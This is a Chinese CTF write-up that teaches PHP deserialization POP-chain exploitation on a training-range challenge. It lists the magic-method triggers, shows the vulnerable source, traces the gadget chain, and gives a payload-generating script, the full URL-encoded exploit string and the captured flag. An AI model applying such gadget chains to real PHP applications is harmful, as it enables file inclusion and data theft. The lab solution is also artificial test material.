常见魔术方法的触发
__construct()? ? //创建类对象时调用
__destruct()? ? //对象被销毁时触发
__call()? ? //在对象中调用不可访问的方法时触发
__callStatic()? ? //在静态方式中调用不可访问的方法时触发
__get()? ? //调用类中不存在变量时触发(找有连续箭头的 this->a->b)
__set()? ? //给一个未定义的属性赋值时触发
__isset()? ? //在不可访问的属性上调用isset()或empty()触发
__unset()? ? //在不可访问的属性上使用unset()时触发__sleep()? ? //使用serialize()时触发
__wakeup()? ? //执行unserialize()时触发
__toString()? ? //当对象被当做字符串时自动调用(找echo $this->a这种、strtolower()等)
__invoke()? ? //对象被当做函数进行调用时触发(找有括号的类似$a()这种)__set_state()? ? ?//使用var_export()时触发
__clone()? ? //对象复制完成时调用
__autoload()? ? //实例化一个未定义的类时触发
__debugInfo()? ? //使用var_dump时触发
下面基于重庆橙子科技靶场讲解演示
题目源码:
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>
这种有很多类的 PHP 代码多半是需要构造pop链
代码审计:
简单看一下,需要给 pop 传参,并且会对传入内容进行反序列化操作
这里有三个类:Modifier、Show、Test
先找链尾,即:eval、flag 这些危险函数或者关键字
在第一个类中,找到输出 flag 的地方,发现需要调用append函数
调用append函数往上看发现需要触发 __invoke()
该魔术方法是当对象被当做函数进行调用时触发(找有括号的类似$a()这种)
在 Test 类中找到
再网上看发现需要触发__get()?
调用类中不存在变量时触发(找有连续箭头的 this->a->b)
在 Show 类中找到
注意:这里的这个source并不是类Show中的 public?$source,而是str下新的一个source。
继续往上发现需要触发__toString()? ?
当对象被当做字符串时自动调用
找 echo , 也在Show类中,但我们也需要再对其实例化一遍
再往上就是__wakeup()函数
执行unserialize()时会自动调用,这里就是链头
按照上述顺序,编写pop链脚本
注意需要给private?$var赋初值为flag.php,再通过include文件包含显示出flag的内容
由于这里涉及到私有变量(结果需要添加%00)
因此对结果进行url编码后再输出即可避免这个缺失的问题
<?php
class Modifier {
private $var = 'flag.php';
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
$m = new Modifier();
$t = new Test();
$t->p = $m;
$s = new Show();
$s->str = $t;
$s1 = new Show();
$s1->source = $s;
echo urlencode(serialize($s1))
?>
运行结果:?
构造payload:
?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A13%3A%22%00Modifier%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
回显flag:
ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}